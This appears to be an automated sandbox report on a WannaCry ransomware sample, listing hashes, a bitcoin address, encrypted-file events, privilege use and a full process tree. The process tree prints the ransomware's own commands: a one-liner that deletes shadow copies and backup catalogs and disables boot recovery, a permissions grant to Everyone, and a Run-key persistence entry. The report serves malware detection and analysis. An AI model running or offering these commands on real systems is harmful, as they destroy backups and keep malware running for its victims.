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210303-eg4g1z4wd2 10Analysis
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max time kernel
149s -
max time network
150s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
26-08-2020 10:57
Static task
static1
Behavioral task
behavioral1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7v200722
Behavioral task
behavioral2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10
General
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Target
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
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Size
3.4MB
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MD5
84c82835a5d21bbcf75a61706d8ab549
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SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
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SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
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SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@[email protected]
wannacry
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Signatures
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Wannacry
WannaCry is a ransomware cryptoworm.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Executes dropped EXE 16 IoCs
Processes:
taskdl.exe@[email protected]@[email protected]taskhsvc.exetaskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]pid process 1840 taskdl.exe 2180 @[email protected] 2228 @[email protected] 2324 taskhsvc.exe 2616 taskdl.exe 2640 taskse.exe 2660 @[email protected] 2824 taskdl.exe 2840 taskse.exe 2864 @[email protected] 2976 taskdl.exe 2120 taskse.exe 1368 @[email protected] 1964 taskdl.exe 2196 taskse.exe 2240 @[email protected] -
Modifies extensions of user files 27 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exedescription ioc process File created C:\Users\Admin\Pictures\EditRepair.png.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\LimitInvoke.tif.WNCRYT => C:\Users\Admin\Pictures\LimitInvoke.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\LimitInvoke.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\ResetRepair.raw.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\StopGroup.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\EnterStop.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\StopGroup.tiff ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\EditRepair.png.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\HidePing.tiff.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\LimitInvoke.tif.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\HidePing.tiff ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\DisableExpand.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\EditRepair.png.WNCRYT => C:\Users\Admin\Pictures\EditRepair.png.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\HidePing.tiff.WNCRYT => C:\Users\Admin\Pictures\HidePing.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\DisableExpand.tiff ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\ResetRepair.raw.WNCRYT => C:\Users\Admin\Pictures\ResetRepair.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\DisableExpand.tiff.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\EnterStop.raw.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\ResetRepair.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\StopGroup.tiff.WNCRYT => C:\Users\Admin\Pictures\StopGroup.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\WatchEnter.raw.WNCRYT => C:\Users\Admin\Pictures\WatchEnter.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\DisableExpand.tiff.WNCRYT => C:\Users\Admin\Pictures\DisableExpand.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\EnterStop.raw.WNCRYT => C:\Users\Admin\Pictures\EnterStop.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\StopGroup.tiff.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\WatchEnter.raw.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\HidePing.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\WatchEnter.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Drops startup file 2 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDAA8A.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDAABD.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Loads dropped DLL 39 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.execscript.execmd.exe@[email protected]taskhsvc.exepid process 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 664 cscript.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 2200 cmd.exe 2200 cmd.exe 2180 @[email protected] 2180 @[email protected] 2324 taskhsvc.exe 2324 taskhsvc.exe 2324 taskhsvc.exe 2324 taskhsvc.exe 2324 taskhsvc.exe 2324 taskhsvc.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\mpvxsxzo192 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe -
JavaScript code in executable 5 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe js \Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe js C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe js C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\LIBEAY32.dll js \Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll js -
Modifies service 2 TTPs 4 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe@[email protected]description ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" @[email protected] -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 2456 vssadmin.exe -
Modifies registry key 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
chrome.exechrome.exechrome.exetaskhsvc.exepid process 876 chrome.exe 1704 chrome.exe 1896 chrome.exe 1896 chrome.exe 2324 taskhsvc.exe 2324 taskhsvc.exe 2324 taskhsvc.exe -
Suspicious use of AdjustPrivilegeToken 51 IoCs
Processes:
vssvc.exeWMIC.exetaskse.exetaskse.exetaskse.exetaskse.exedescription pid process Token: SeBackupPrivilege 2536 vssvc.exe Token: SeRestorePrivilege 2536 vssvc.exe Token: SeAuditPrivilege 2536 vssvc.exe Token: SeIncreaseQuotaPrivilege 2584 WMIC.exe Token: SeSecurityPrivilege 2584 WMIC.exe Token: SeTakeOwnershipPrivilege 2584 WMIC.exe Token: SeLoadDriverPrivilege 2584 WMIC.exe Token: SeSystemProfilePrivilege 2584 WMIC.exe Token: SeSystemtimePrivilege 2584 WMIC.exe Token: SeProfSingleProcessPrivilege 2584 WMIC.exe Token: SeIncBasePriorityPrivilege 2584 WMIC.exe Token: SeCreatePagefilePrivilege 2584 WMIC.exe Token: SeBackupPrivilege 2584 WMIC.exe Token: SeRestorePrivilege 2584 WMIC.exe Token: SeShutdownPrivilege 2584 WMIC.exe Token: SeDebugPrivilege 2584 WMIC.exe Token: SeSystemEnvironmentPrivilege 2584 WMIC.exe Token: SeRemoteShutdownPrivilege 2584 WMIC.exe Token: SeUndockPrivilege 2584 WMIC.exe Token: SeManageVolumePrivilege 2584 WMIC.exe Token: 33 2584 WMIC.exe Token: 34 2584 WMIC.exe Token: 35 2584 WMIC.exe Token: SeTcbPrivilege 2640 taskse.exe Token: SeTcbPrivilege 2640 taskse.exe Token: SeIncreaseQuotaPrivilege 2584 WMIC.exe Token: SeSecurityPrivilege 2584 WMIC.exe Token: SeTakeOwnershipPrivilege 2584 WMIC.exe Token: SeLoadDriverPrivilege 2584 WMIC.exe Token: SeSystemProfilePrivilege 2584 WMIC.exe Token: SeSystemtimePrivilege 2584 WMIC.exe Token: SeProfSingleProcessPrivilege 2584 WMIC.exe Token: SeIncBasePriorityPrivilege 2584 WMIC.exe Token: SeCreatePagefilePrivilege 2584 WMIC.exe Token: SeBackupPrivilege 2584 WMIC.exe Token: SeRestorePrivilege 2584 WMIC.exe Token: SeShutdownPrivilege 2584 WMIC.exe Token: SeDebugPrivilege 2584 WMIC.exe Token: SeSystemEnvironmentPrivilege 2584 WMIC.exe Token: SeRemoteShutdownPrivilege 2584 WMIC.exe Token: SeUndockPrivilege 2584 WMIC.exe Token: SeManageVolumePrivilege 2584 WMIC.exe Token: 33 2584 WMIC.exe Token: 34 2584 WMIC.exe Token: 35 2584 WMIC.exe Token: SeTcbPrivilege 2840 taskse.exe Token: SeTcbPrivilege 2840 taskse.exe Token: SeTcbPrivilege 2120 taskse.exe Token: SeTcbPrivilege 2120 taskse.exe Token: SeTcbPrivilege 2196 taskse.exe Token: SeTcbPrivilege 2196 taskse.exe -
Suspicious use of FindShellTrayWindow 70 IoCs
Processes:
chrome.exepid process 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
chrome.exepid process 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe 1896 chrome.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
Processes:
pid process 2228 @[email protected] 2180 @[email protected] 2180 @[email protected] 2228 @[email protected] 2660 @[email protected] 2660 @[email protected] 2864 @[email protected] 1368 @[email protected] 2240 @[email protected] -
Suspicious use of WriteProcessMemory 575 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.execmd.exechrome.exechrome.exedescription pid process target process PID 1332 wrote to memory of 1404 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 1332 wrote to memory of 1404 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 1332 wrote to memory of 1404 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 1332 wrote to memory of 1404 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 1332 wrote to memory of 1428 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 1332 wrote to memory of 1428 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 1332 wrote to memory of 1428 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 1332 wrote to memory of 1428 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 1332 wrote to memory of 1840 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 1332 wrote to memory of 1840 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 1332 wrote to memory of 1840 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 1332 wrote to memory of 1840 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 1332 wrote to memory of 1856 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 1332 wrote to memory of 1856 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 1332 wrote to memory of 1856 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 1332 wrote to memory of 1856 1332 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 1856 wrote to memory of 664 1856 cmd.exe cscript.exe PID 1856 wrote to memory of 664 1856 cmd.exe cscript.exe PID 1856 wrote to memory of 664 1856 cmd.exe cscript.exe PID 1856 wrote to memory of 664 1856 cmd.exe cscript.exe PID 1604 wrote to memory of 1656 1604 chrome.exe chrome.exe PID 1604 wrote to memory of 1656 1604 chrome.exe chrome.exe PID 1604 wrote to memory of 1656 1604 chrome.exe chrome.exe PID 1896 wrote to memory of 1960 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1960 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1960 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe PID 1896 wrote to memory of 1428 1896 chrome.exe chrome.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Loads dropped DLL
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
PID:1332 -
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
PID:1404 -
C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:1428 -
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1840 -
C:\Windows\SysWOW64\cmd.execmd /c 178041598446660.bat2⤵
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵
- Loads dropped DLL
PID:664 -
C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:2180 -
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2324 -
C:\Windows\SysWOW64\cmd.exePID:2200
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:2228
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵PID:2460
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C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
PID:2456 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2584 -
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:2616 -
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2640 -
C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
PID:2660 -
C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "mpvxsxzo192" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵PID:2684
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C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "mpvxsxzo192" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Adds Run key to start application
- Modifies registry key
PID:2724 -
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:2824 -
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2840 -
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:2864
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:2976 -
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2120 -
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1368
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1964 -
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2196 -
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:2240
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1604 -
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=84.0.4147.89 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef859ed20,0x7fef859ed30,0x7fef859ed402⤵PID:1656
